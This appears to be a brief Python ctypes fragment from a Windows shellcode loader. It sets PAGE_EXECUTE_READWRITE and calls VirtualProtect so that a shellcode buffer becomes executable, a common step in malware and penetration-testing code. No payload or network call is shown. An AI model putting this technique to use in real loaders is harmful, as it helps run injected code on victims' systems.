PAGE_EXECUTE_READWRITE = 0x40 OldVirtualProtect = c_int() ... VirtualProtect = windll.kernel32.VirtualProtect res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))